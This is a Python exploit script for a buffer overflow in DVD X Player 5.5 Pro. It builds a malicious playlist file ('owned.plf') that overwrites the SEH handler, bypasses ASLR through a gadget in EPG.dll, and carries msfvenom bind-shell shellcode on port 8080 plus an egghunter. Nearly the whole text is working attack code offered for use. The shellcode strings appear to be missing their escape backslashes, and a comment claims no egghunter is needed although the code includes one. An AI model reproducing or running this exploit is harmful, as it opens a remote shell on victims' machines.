# DVD X Player 5.5 Pro
# Bypass ASLR by using non-aslr enabled module
# SEH Overwrite
# Egghunter is not needed as there is at least 2000 bytes for shellcode


import sys

print "===================================="
print "DVD X Player 5.5 Pro Buffer Overflow"
print "    SEH Overwrite - Bypass ASLR     "
print "         Written by Blake           "
print "===================================="

# size = 325 bytes
# ./msfvenom -p windows/shell/bind_tcp LPORT=8080 -e x86/shikata_ga_nai -b 'x00x0ax0dx1a' -f c
shellcode=(
"xbax16x44x8axd1xdbxd1xd9x74x24xf4x5dx29xc9xb1"
"x4bx31x55x14x83xc5x04x03x55x10xf4xb1x76x39x71"
"x39x87xbaxe1xb3x62x8bx33xa7xe7xbex83xa3xaax32"
"x68xe1x5exc0x1cx2ex50x61xaax08x5fx72x1bx95x33"
"xb0x3ax69x4exe5x9cx50x81xf8xddx95xfcxf3x8fx4e"
"x8axa6x3fxfaxcex7ax3ex2cx45xc2x38x49x9axb7xf2"
"x50xcbx68x89x1bxf3x03xd5xbbx02xc7x06x87x4dx6c"
"xfcx73x4cxa4xcdx7cx7ex88x81x42x4ex05xd8x83x69"
"xf6xafxffx89x8bxb7x3bxf3x57x32xdex53x13xe4x3a"
"x65xf0x72xc8x69xbdxf1x96x6dx40xd6xacx8axc9xd9"
"x62x1bx89xfdxa6x47x49x9cxffx2dx3cxa1xe0x8axe1"
"x07x6ax38xf5x31x31x55x3ax0fxcaxa5x54x18xb9x97"
"xfbxb2x55x94x74x1cxa1xdbxaexd8x3dx22x51x18x17"
"xe1x05x48x0fxc0x25x03xcfxedxf3x83x9fx41xacx63"
"x70x22x1cx0bx9axadx43x2bxa5x67xecx9ax81xdbx7b"
"xdex35xc3xebx57xd3x91x1bx31x4bx0exdex66x44xa9"
"x21x4dxf8x62xb6xdax16xb4xb9xdbx3cx96x16x74xd7"
"x6dx75x41xc6x71x50xe2x9fxe6x2ex62xedx97x2fxaf"
"x87x57xbax4bx0ex0fx52x51x77x67xfdxaax52xf3x34"
"x3ex1dx6cx39xaex9dx6cx6fxa4x9dx04xd7x9cxcdx31"
"x18x09x62xeax8dxb1xd3x5ex05xd9xd9xb9x61x46x21"
"xecx73xbbxf4xc9xf1xcdx72x3ax3a")

# 32 byte egghunter
egghunter =(
"x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xefxb8"
"x54x30x30x57" # egg - W00T
"x8bxfaxafx75xeaxafx75xe7xffxe7")


# overwrite EIP = 260 bytes
# overwrite SEH = 616 bytes - 0x61602adb pop edi; pop esi; ret [EPG.dll]

egg = "x54x30x30x57x54x30x30x57"
buffer = "x41" * 608
next_seh = "xebx06x90x90"	# jump forward 6 bytes
seh = "xdbx2ax60x61"	# pop/pop/ret
nops = "x90" * 20

print "[+] Creating malicious plf"
try:
	file = open("owned.plf","w")
	file.write(buffer + next_seh + seh + nops + egghunter + nops + egg + shellcode)
	file.close()
	print "[+] File created successfully"
	raw_input("[+] Press any key to exit")
except:
	print "[X] Error creating file!"
	sys.exit(0)